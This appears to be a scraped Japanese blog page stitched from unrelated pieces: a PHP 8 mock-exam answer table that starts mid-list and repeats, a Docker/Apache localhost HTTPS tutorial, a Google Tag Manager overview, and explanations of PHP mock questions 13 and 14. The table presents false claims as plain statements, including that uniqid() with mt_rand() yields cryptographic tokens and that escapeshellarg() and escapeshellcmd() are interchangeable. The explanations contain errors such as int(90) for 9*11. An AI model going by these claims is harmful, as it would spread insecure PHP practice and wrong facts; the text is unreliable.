    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    DockerコンテナでローカルホストをHTTPS化する方OpenSSLNET::ERR_CERT_AUTHORITY_INVALID

    こんにちは!今回は、Dockerコンテナ環境でローカルホストをHTTPS化する方法について詳しく解説していきます。

    目的 :
    ローカルホストをhttps化したい (例: localhost:8080 -> https://localhost:8080)

    前提

    • ホストマシンはWindows10
    • コンテナはDocker Desktopで作成している

    ローカル開発でHTTPS化するメリット

    開発環境でHTTPSを使用したいケースは多々あります。例えば:

    • PWAの開発
    • セキュアなAPIのテスト
    • 本番環境に近い開発環境の構築

    今回は、Docker環境でApacheを使用したHTTPS化の方法を紹介します。

    HTTPS化手順の概要と予備知識

    • OpenSSL で自己著名SSL証明書の作成
    • Docker コンテナで証明書の設定
    • ブラウザでの証明書の信頼設定

    自己署名証明書とは

    自己署名証明書とは、認証局(CA)を介さずに自分自身で作成・署名したSSL/TLS証明書のことです。

    • 証明書の即時発行が可能
    • コストがかからない
    • 更新・再発行が容易
    通常の証明書 vs 自己署名証明書 通常の証明書 認証局(CA) Let’s Encrypt など Webサイト example.com ✓ ブラウザが信頼 ✓ 警告が表示されない ✓ 本番環境で使用可能 自己署名証明書 自分で署名 openssl コマンド ローカル環境 localhost ! ブラウザが警告 ✓ 開発環境で使用可能 ✗ 本番環境では非推奨

    証明書の内容

    デジタル証明書とは? ウェブサイトの身分証明書 Webサイト example.com △△銀行 証明書の内容 • サイトのドメイン名 • 運営組織情報 • 有効期限 証明書の3つの役割 なりすまし防止 正規のサイトである ことを証明 データの暗号化 通信内容を 暗号化して保護 🔒 改ざん防止 データが途中で 変更されていないことを保証

    データの暗号化

    • 通信内容を暗号化
    • パスワードやクレジットカード情報を安全に送信可能

    改ざん防止

    • データが途中で変更されていないことを保証
    • 安全な通信を実現

    OpenSSLとは

    opensslコマンドは、ターミナルから直接実行できる暗号化関連のツールです。

    主な用途は:

    • 証明書の作成と管理
    • 暗号鍵の生成
    • ファイルの暗号化と復号化
    • 証明書や鍵の内容確認
    OpenSSL Command Line Tool $ openssl req -x509 -nodes -newkey rsa:2048 -keyout key.pem -out cert.pem ⭐ 自己署名証明書を作成 $ openssl genrsa -out private.key 2048 ⭐ RSA秘密鍵を生成 $ openssl enc -aes-256-cbc -in plain.txt -out encrypted.txt ⭐ ファイルを暗号化 $ openssl enc -d -aes-256-cbc -in encrypted.txt -out decrypted.txt ⭐ 暗号化されたファイルを復号 $ openssl x509 -in cert.pem -text -noout ⭐ 証明書の内容を表示 コマンドラインから直接実行できる暗号化ツール

    コマンドラインツール以外にもプログラミング言語でライブラリとして機能を利用することも可能です

    OpenSSL コマンドラインツール ライブラリ openssl genrsa openssl req -x509 openssl enc 開発者が直接実行 Node.js Python PHP プログラムから利用

    自己署名証明書の作成

    OpenSSLコマンドを使用して、自己署名証明書を作成します。

    Windowsでopensslコマンドを使用する方法

    WindowsでOpenSSLを使用する方法 問題:Windowsのコマンドプロンプトではopensslコマンドが使えない 理由:WindowsにはOpenSSLが標準でインストールされていないため 解決方法の選択肢 Git Bash ✓ 簡単にインストール ✓ OpenSSL付属 ✓ 一般的な選択肢 推奨 WSL ✓ 本格的な環境 ✓ Linux互換 × セットアップ複雑 PowerShell × 追加インストール必要 × 設定複雑 × 非推奨 推奨手順:Git Bashを使用 1. 作業フォルダを 右クリック 2. 「Git Bash Here」 を選択 3. opensslコマンド を実行

    opensslコマンドで自己署名SSL証明書を作成します。以下のコマンドを使用します:

    openssl req -x509 -nodes -newkey rsa:2048 -addext "subjectAltName = DNS:localhost" -keyout localhost+2-key.key -out localhost+2.crt
    openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
        -keyout ssl/server.key -out ssl/server.crt \
        -subj "/CN=localhost" \
        -addext "subjectAltName = DNS:localhost,IP:127.0.0.1"

    このコマンドを実行すると、対話形式で以下の情報を入力できます:
    Country Name (国名): JP
    State (都道府県): Tokyo
    Locality (市区町村): Tokyo
    Organization Name (組織名)
    Organizational Unit Name (部門名)
    Common Name: localhost
    Email Address (メールアドレス)

    -----
    Country Name (2 letter code) [AU]:JP
    State or Province Name (full name) [Some-State]:Tokyo
    Locality Name (eg, city) []:Shinjuku
    Organization Name (eg, company) [Internet Widgits Pty Ltd]:
    Organizational Unit Name (eg, section) []:
    Common Name (e.g. server FQDN or YOUR name) []:localhost
    Email Address []:
    
    

    このコマンドで以下のファイルが生成されます:

    • server.key: 秘密鍵
    • server.crt: 証明書

    コマンドプロンプトとは? テキストベースでコンピュータを操作するための入力画面 Windowsで使えるコマンドプロンプトの種類 コマンドプロンプト(cmd) Windows標準 dirやcopyなど Windowsコマンドのみ C:\> PowerShell 高機能なシェル スクリプト実行可能 .NET機能が使える PS C:\> Git Bash Unix系コマンド使用可 ls、catなど 開発でよく使用 user@PC MINGW64 ~ コマンドプロンプトとは: • コンピュータにテキストで命令を出すための画面 • マウス操作の代わりにコマンド(命令文)を入力して操作する
    • 作業したいフォルダで右クリック
    • 「Open Git Bash here」を選択
    Git Bashの起動方法 1. フォルダを右クリック 新規作成(N) Open Git GUI here Open Git Bash here Code で開く 2. 「Git Bash here」を選択 MINGW64:/ user@PC $
    Git Bashでよく使う操作例 ファイル操作の例 $ ls -la $ mkdir project && cd project $ touch index.html $ grep “error” log.txt $ find . -name “*.js” Git操作の例 $ git clone https://github.com/user/repo.git $ git checkout -b feature/new-feature $ git add . && git commit -m “Update” $ git push origin main $ git pull origin main 開発ツールの例 $ npm init && npm install express $ python -m venv venv $ pip install -r requirements.txt $ docker-compose up -d $ npm run build シェルスクリプトの例 $ chmod +x deploy.sh $ ./backup.sh $ for f in *.jpg; do convert “$f” “${f%.jpg}.png”; done $ curl -s https://api.example.com | jq ‘.’ $ watch -n 5 ‘ps aux | grep node’ 📌 便利な使い方のヒント • Tab補完を活用してコマンドやファイル名を効率的に入力 • ヒストリー機能(上下キー)で過去のコマンドを再利用 • パイプ(|)やリダイレクト(>)を使ってコマンドを組み合わせる

    Apacheの設定

    Apache設定ファイル(apache\ssl.conf)でSSL関連の設定

    <VirtualHost *:443>
        ServerName localhost
        DocumentRoot /var/www/html
        
        SSLEngine on
        SSLCertificateFile /etc/apache2/ssl/server.crt
        SSLCertificateKeyFile /etc/apache2/ssl/server.key
        
        <Directory /var/www/html>
            Require all granted
        </Directory>
    </VirtualHost> 

    DockerfileをApache公式イメージをベースに作成

    FROM php:8.2-apache
    
    WORKDIR /var/www/html
    
    COPY . /var/www/html/
    COPY apache/ssl.conf /etc/apache2/sites-available/
    
    RUN chown -R www-data:www-data /var/www/html && \
        a2enmod ssl && \
        a2ensite ssl.conf 

    docker-compose

    下記の設定により、自己署名証明書を使用したHTTPS接続が可能になります。

    • SSL moduleの有効化(a2enmod ssl)
    • SSL設定の有効化(a2ensite ssl.conf)
    • 証明書ファイルの適切なマウント
    • Apache設定の再読み込み

    services:
      web:
        build: .
        ports:
          - "8080:80"
          - "443:443"
        volumes:
          - .:/var/www/html
          - ./ssl:/etc/apache2/ssl
          - ./apache/ssl.conf:/etc/apache2/sites-available/ssl.conf
        environment:
          - TZ=Asia/Tokyo 

    Apacheの設定では、以下のモジュールを有効化する必要があります:

    • ssl_module
    • socache_shmcb_module

    ブラウザでの証明書の信頼設定(NET::ERR_CERT_AUTHORITY_INVALID 解決策)

    自己署名証明書を使用すると、ブラウザでNET::ERR_CERT_AUTHORITY_INVALIDエラーが表示されます。これを解決するには:

    1. 証明書ファイル(.crt)をダブルクリック
    2. 「証明書のインストール」をクリック
    3. 「ローカルコンピューター」を選択
    1. 「信頼されたルート証明機関」を選択
    2. インストールを完了

    これにより、ブラウザが証明書を信頼するようになります。

    詳細を説明すると、自己証明書は初期状態では信頼されないので下記の手順が必要です

    「信頼されたルート証明機関ストアに配置」

    • ブラウザはストアを信頼の起点として使用
    • このストアにある証明書は無条件に信頼される
    • 自己署名証明書を直接ここに配置することで、強制的に信頼させる

    自動選択で配置する場合

    • 通常の証明書用のストア(個人、中間証明書など)に配置される可能性
    • それらのストアに配置された証明書は信頼チェーンが必要
    証明書の信頼チェーンの仕組み 通常の証明書 ルート証明書 (認証局) 最初から信頼済み 中間証明書 ルート証明書により 署名・信頼 サーバー証明書 中間証明書により 署名・信頼 自己署名証明書 自己署名証明書 自分自身で署名 信頼チェーンなし 初期状態では信頼されない 解決策 信頼されたルート 証明機関ストアに 直接配置 ブラウザが信頼
    自己署名証明書の警告と対処 開発環境 NET::ERR_CERT_AUTHORITY_INVALID この証明書は信頼できません 自己署名証明書のため 一時的な解決策(ローカルのみ) 1. 証明書をダブルクリック 2. 「証明書のインストール」 3. 「ローカルコンピューター」選択 4. 「信頼されたルート証明機関」 5. インストール完了 本番環境 根本的な解決策 認証局(CA)から 正式な証明書を取得 認証局の例 • Let’s Encrypt(無料) • DigiCert • Cloudflare • GeoTrust 開発環境では一時的な解決策で十分ですが、本番環境では必ず正式な証明書を使用してください

    キュリティに関する注意点

    • 自己署名証明書は開発環境専用です
    • 本番環境では必ず信頼された認証局から証明書を取得してください
    • 証明書と秘密鍵の取り扱いには十分注意が必要です

    まとめ

    ローカル開発環境でHTTPSを使用することで、本番環境に近い開発が可能になります。ただし、自己署名証明書の使用は開発環境に限定し、本番環境では適切な証明書を使用することを忘れないようにしましょう。

    Happy Coding! 🚀

    GTMで利用可能な主なタグタイプを体系的に説明
    GTM タグタイプ一覧 Googleサービス • GA4 設定 • GA4 イベント • Google Ads コンバージョン • Google Ads リマーケティング • Google タグ 広告タグ • Meta (Facebook) Pixel • Amazon Advertising • Twitter広告タグ • LINE Tag • その他の広告プラットフォーム カスタムタグ • カスタム HTML • カスタム画像 • カスタム JavaScript 分析ツール • Adobe Analytics • Mixpanel • Amplitude その他のサービス • ヒートマップツール (Hotjar等) • チャットツール • A/Bテストツール • フォーム分析ツール

    主なタグタイプを5つのカテゴリーに分類して説明します:

    Googleサービス系

    • GA4設定/イベント
    • Google広告のコンバージョントラッキング
    • Googleリマーケティング
    • Googleタグ

    GA4イベントのタグ

    GA4 イベントの構造 基本設定 • 設定タグ: GA4設定タグを選択 • イベント名: 推奨イベント名または任意のカスタムイベント名 イベントパラメータ • 推奨パラメータ: page_title, page_location, page_referrer など • カスタムパラメータ: 独自のキーと値のペア • ユーザープロパティ: user_id, クライアントID など 主要な推奨イベント • page_view: ページビュー計測 • scroll: スクロール計測 • click: クリック計測 ※ イベントはトリガーと組み合わせて使用します

    GA4タグタイプを選択することで、GTMからGA4への計測を簡単に実装できることが大きな利点です。

    簡単な実装

    • GTMでタグタイプを「Google アナリティクス:GA4設定」「Google アナリティクス:GA4イベント」を選ぶだけで基本的な設定が完了
    • 個別にJavaScriptコードを書く必要がない
    • 設定画面でポイントアンドクリックで実装可能
    GA4タグの主な使用目的 1. ユーザー行動の把握 • ページビュー数/滞在時間 • クリック/スクロール行動 • 動線分析 • 離脱率/直帰率 • ユーザーセグメント分析 2. コンバージョン測定 • 購入/申し込み完了 • フォーム送信 • 会員登録 • 商品閲覧/カート追加 • 売上/顧客単価の計測 3. マーケティング効果測定 • 広告効果分析 • 流入元分析 • キャンペーン効果測定 • ROI/ROAS分析 4. サイト改善 • UI/UX改善のためのデータ収集 • ページパフォーマンス分析 • コンテンツ効果測定 • A/Bテストの効果測定 これらのデータを活用して、ビジネス目標の達成とユーザー体験の向上を図ります
    GA4タグ配信後の確認手順 1. リアルタイムレポートでの確認 • GA4 > リアルタイム > アクティブユーザー • イベント、ユーザー属性、コンバージョンの即時確認 2. DebugViewモードでの詳細確認 • GA4 > 設定 > DebugView • イベントパラメータ、トリガー条件の検証 3. レポートでの確認 • GA4 > レポート > イベント • データの蓄積状況、トレンドの確認 注意: データの反映には通常24-48時間かかります。リアルタイムとDebugViewを活用して初期確認を行うことが推奨されます。

    広告タグ

    • Meta (Facebook) Pixel
    • Amazon Advertising Tag
    • Twitter広告タグ
    • LINE Tag
    • その他の広告プラットフォームタグ

    Google 広告のコンバージョン トラッキングタグ

    Google広告経由の訪問者のみ計測し、広告効果の測定と最適化

    Google広告タグ vs GA4タグの違い Google広告コンバージョンタグ Google広告からの流入 コンバージョンの計測 特徴: • 広告効果測定に特化 • 広告クリック後の成果のみ計測 • 広告運用の最適化用 • GA4には直接データが送られない GA4タグ すべての流入 (広告、自然検索、直接など) 全体的な行動分析 特徴: • サイト全体の分析が可能 • すべての流入からの計測 • 詳細な行動分析が可能 • ユーザーの動線分析が可能 目的に応じて両方のタグを使い分けることを推奨

    総合的なウェブ解析を行うためには:

    1. GA4タグで全体的な分析を行い
    2. 広告効果の詳細な測定にはGoogle広告タグも併用する

    という形で両方を適切に設定することが推奨されます。

    カスタムタグ

    • カスタムHTML:独自のHTMLやJavaScriptコードを実装
    • カスタム画像:特定の画像をトラッキング用に導入
    • カスタムJavaScript:独自のJavaScript関数の実装

    LINEのコンバージョンタグ

    実装方法

    • GTMで「カスタムHTML」タイプとして設定
    • 広告プラットフォーム提供のコードを実装
    • コンバージョンポイントでトリガー設定
    広告コンバージョンタグの実装と機能 実装方法(GTM) カスタムHTML <script> // 広告プラットフォーム用 </script> 一般的なトリガー例: • 購入完了ページ • フォーム送信完了 • 会員登録完了 広告タグの機能 主な機能: • コンバージョン計測 • 広告効果の測定 • ユーザー行動の追跡 • 広告配信の最適化 • コンバージョン価値の測定

    このように、カスタムHTMLタグは様々な広告プラットフォームのコンバージョン計測に活用され、広告効果の測定や最適化に役立てられます。

    分析ツール系

    • Adobe Analytics
    • Mixpanel
    • Amplitude
    • その他の分析ツール

    その他のサービス

    • ヒートマップツール
    • チャットツール
    • A/Bテストツール
    • フォーム分析ツール

    これらのタグは、トリガーと組み合わせることで、様々なイベントやユーザーアクションを追跡することができます。

    【php8上級/準上級試験】模擬問題解説 問題14. クラスの型宣言 Null合体代入演算子(??=)アロー関数

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 14

    PHP 7.3.x から PHP 7.4.x への移行に関する説明の中で、誤っているものを1つ選びなさい。
    明記していない限り、実行は PHP 7.4 で行っている。
    なお、すべてのコードの先頭には下記のコードが書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);

    クラスのプロパティは、新たに型宣言をサポートするようになった。そのため、以下のコード

    class Hoge {
        public int $i;
    }
    
    $obj = new Hoge();
    $obj->i = 'string';

    を実行すると、結果は次のとおりとなる。

    Fatal error: Uncaught TypeError: Typed property Hoge::$i must be int, string used in  ...

    PHP 7.4から導入されたTyped Propertiesの機能により、クラスのプロパティに型宣言が可能になりました。

    PHP 7.4 型付きプロパティ PHP 7.3 以前 class User { public $name; public $age; public $isActive; } PHP 7.4 以降 class User { public string $name; public int $age; public bool $isActive; } 使用可能な型: int, float, string, bool, array, object, iterable, クラス名, ?型

    PHPも最近は「型をしっかり使って、安全にコードを書こう」という方向に進んでるということですかね!

    「実際IDE(VS Code等)で補完が強くなる」

    「コードが読みやすくなる」といった感じで、メリットは大きいです

    整数型として宣言されたプロパティに文字列を代入しようとすると、実行時にTypeErrorが発生します

    従って、この説明に誤りはありません。内容は⭕です

    アロー関数は、暗黙的な値スコープを持った関数を定義する簡便な文法を提供する。
    また、アロー関数は親のスコープで使える変数が常に自動で使える。そのため、以下のコード

    $x = 11;
    $fn = fn($i) => $i * $x;
    var_dump($fn);
    var_dump( $fn(9) );
    は正しく実行でき、結果は次のとおりとなる。
    
    object(Closure)#1 (1) {
      ["parameter"]=>
      array(1) {
        ["$i"]=>
        string(10) "<required>"
      }
    }
    int(90)

    アロー関数とは?

    PHP 7.4から導入された 簡潔な書き方の無名関数(クロージャ) のこと。
    従来の function キーワードよりも短く書けて、変数のスコープの扱いが自動的ってところが特に便利!

    クロージャとは

    クロージャ(Closure)は 無名関数(名前を持たない関数) で、
    さらに「スコープ外の変数を関数内で使える関数」のこと!

    $x = 10;
    
    $fn = function($i) use ($x) {
        return $i * $x;
    };

    アロー関数は、関数の外で定義された変数を use なしで使える!

    // 通常のクロージャ(明示的なキャプチャが必要)
    $x = 10;
    $fn = function($i) use ($x) {
        return $i * $x;
    };
    
    
    // アロー関数(自動キャプチャ)
    $x = 10;
    $fn = fn($i) => $i * $x;
    アロー関数は外部変数を自動的に使える $message = “Hello”; 無名関数 echo $message; エラー!useが必要 アロー関数 echo $message; OK!自動的に使える fn() => { } は use キーワード不要!

    複数行NG、return NG

    NG例

    $x = 10;
    $fn = fn($i) => {
        $j = $i * 2;
        return $j * $x; // ❌ Syntax error
    };

    問題文の内容は正しい⭕です

    Null の場合の代入演算子が追加された。そのため、以下のコード

    $array = ['key' => 1];
    $array['key'] ??= 'default';
    $array['key2'] ??= 'default';
    var_dump($array);

    は正しく実行でき、結果は次のとおりとなる。

    array(2) {
    [“key”]=>
    int(1)
    [“key2”]=>
    string(7) “default”
    }

    PHP 7.4で追加された null合体演算子 (??) で条件分岐をスッキリ書こう!

    ?? null合体演算子とは

    「左オペラントが存在しており、かつ null でなければそれを使い、
    存在しない(または null)の場合は右オペラントを使う」

    という動作を行います。

    null合体演算子を使用すると便利な場合

    isset() や if を使った条件分岐を使わずにスッキリ書けます。

    問題文も下記の通りになります。※ 実際のコーディングでも存在しないキーや未定義変数から値を取得する際 に、エラー(Notice/Warning)を回避しながらデフォルト値を設定する用途で使うのが一般的です。

    Null合体代入演算子(??=)の動作 $array[‘key’] ??= ‘default’ $array[‘key’]は1 Null/未定義? 値は1のまま $array[‘key2’] ??= ‘default’ $array[‘key2’]は未定義 Null/未定義? 値が’default’に設定される array(2) { [“key”]=> int(1), [“key2”]=> string(7) “default” }

    よって選択肢の内容は正しい⭕です

    波括弧を使って配列や文字列のオフセットにアクセスする文法は推奨されなくなった。そのため、以下のコード

    $s = 'abc';
    var_dump( $s{1} );

    を実行すると、結果は次のとおりとなる。

    Parse error: syntax error, unexpected ‘}’, expecting ‘]’ in …

    波括弧を使って配列や文字列のオフセットにアクセスする文法

    もともと、配列や文字列を参照する際の角括弧 [] 記法と {} 記法が混在してましたが、シンプルに[] のみに統一されました。

    波括弧を使って配列や文字列のオフセットにアクセスする文法PHP 7.4 で非推奨となり、PHP 8 で完全に削除されてます

    PHP 7.4 では「非推奨(Deprecated)」となり、E_DEPRECATED の警告が出るようになりました。
    そのため、エラー(Parse error)にはなりません

    よって問題文は誤り❌です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題13. 可変変数

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 13

    可変変数に関する説明の中で、誤っているものを1つ選びなさい。

    PHP では、変数名を可変にする事ができる。そのため、以下のコード

    declare(strict_types=1);
    error_reporting(-1);
    
    $test = 'hello';
    $s = 'test';
    echo $$s;

    を実行すると、結果は次のとおりとなる。

    hello

    可変変数の仕組み

    PHP では、文字列の内容を 変数名 として使う “可変変数 (variable variables)” 機能があります。

    PHP 可変変数の二重変換イメージ $s ‘test’ $$s ( = $test ) ‘hello’ 1. $s に文字列 “test” を代入 → 2. ‘test’ が変数名として解釈され → 3. $$s は $test を指す → 4. 最終的に “hello” を取得

    従って、この説明に誤りはありません。内容は⭕です

    $を重ねて、2段以上の可変変数も、作ることは出来る。そのため、以下のコード

    declare(strict_types=1);
    error_reporting(-1);
    
    $test = 'hello';
    $s = 'test';
    $ss = 's';
    echo $$ss, PHP_EOL;
    echo $$$ss;

    を実行すると、結果は次のとおりとなる。

    test
    hello

    PHP では可変変数を $$ のように重ねて複数段で使うことが可能で問題文の内容は正しい⭕です

    可変変数は、PHP 5 と PHP 8 で評価の順番が異なる。
    例えば「$$foo[‘bar’][‘baz’]」という可変変数がある場合、PHP 5 では「${$foo[‘bar’][‘baz’]}」、PHP 7 以降では「($$foo)[‘bar’][‘baz’] (PHP 5 でもパース可能な記法だと ${$foo}[‘bar’][‘baz’]」と解釈される。そのため、以下のコード

    // declare(strict_types=1);
    error_reporting(-1);
    
    $awk['bar']['baz'] = 'aaa';
    $foo = 'awk';
    var_dump($$foo['bar']['baz']);
    $foo2['bar']['baz'] = 'bbb';
    $bbb = 'awk';
    var_dump($$foo2['bar']['baz']);

    を PHP 8 で実行すると、結果は次のとおりとなる。

    string(3) “aaa”
    Warning: Array to string conversion in …
    Warning: Undefined variable $Array in …
    Warning: Trying to access array offset on value of type null in …
    Warning: Trying to access array offset on value of type null in …
    NULL

    一方で PHP 5 で実行すると、結果は次のとおりとなる。

    Warning: Illegal string offset ‘bar’ in …
    Warning: Illegal string offset ‘baz’ in …
    Notice: Undefined variable: a in …
    NULL
    string(3) “awk”

    そのため、波括弧 {} を使って「評価順番を明示的に書く」と、バージョンによらず互換性を保つ事ができる。

    PHP5では、$$foo[‘bar’] のような式は 複合構文の最外部の変数部分を最後に解決する という方針でした。

    PHP 5とPHP 7以降(8含む)では多段の可変変数の評価順が違う

    下記の通りのため、バージョン差異をなくしたい場合は、このように波括弧を使った書き方が推奨されます。

    PHP5とPHP7の可変変数評価順序の違い 専門用語の説明: ・可変変数: 変数名が別の変数の値によって決まる変数のこと。例: $$foo は $fooの値を変数名とする ・評価順序: プログラムがコードを解釈する際の処理の順番 ・メンバアクセス演算子: 配列やオブジェクトの要素にアクセスする記号。例: [‘bar’] や ->property PHP5 の評価順序 $foo = ‘bar’; $bar = [‘baz’ => ‘hello’]; $$foo[‘baz’]; PHP5の解釈: 1. $$foo[‘baz’] → ${$foo[‘baz’]} 2. $foo[‘baz’] を評価 3. $foo は ‘bar’ 4. ‘bar'[‘baz’] はエラー ※配列アクセスの前に変数名を解決 ※エラーまたは未定義の動作 PHP7 の評価順序 $foo = ‘bar’; $bar = [‘baz’ => ‘hello’]; $$foo[‘baz’]; PHP7の解釈: 1. $$foo[‘baz’] → ($$foo)[‘baz’] 2. $$foo を評価 3. $$foo は $bar 4. $bar[‘baz’] は ‘hello’ ※変数を先に解決してから配列アクセス ※一般的な言語の動作に近い 明示的な書き方: ${$foo[‘baz’]} (PHP5スタイル) または ($$foo)[‘baz’] (PHP7スタイル)

    よって選択肢の内容は正しい⭕です

    可変変数は、スーパーグローバル変数に対しても使う事ができる。そのため、以下のコード

    declare(strict_types=1);
    error_reporting(-1);
    
    function hoge() {
        $s = '_ENV';
        echo ${$s}['SSH_TTY'], PHP_EOL;
    }
    
    echo $_ENV['SSH_TTY'], PHP_EOL;
    hoge();

    を実行すると、結果は次のとおりとなる。

    /dev/pts/1
    /dev/pts/1

    スーパーグローバル変数($_ENV, $_GET, $_POSTなど)は可変変数の形式で参照することができません

    可変変数とスーパーグローバル変数 通常の可変変数(動作する) $name = “hello”; $hello = “World”; echo ${$name}; // “World” スーパーグローバル(動作しない) $s = ‘_ENV’; echo ${$s}[‘SSH_TTY’]; // エラー 重要な注意点 • スーパーグローバル変数は可変変数の形式で参照できない • PHPの言語仕様による制限

    よって問題文は❌誤りです

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
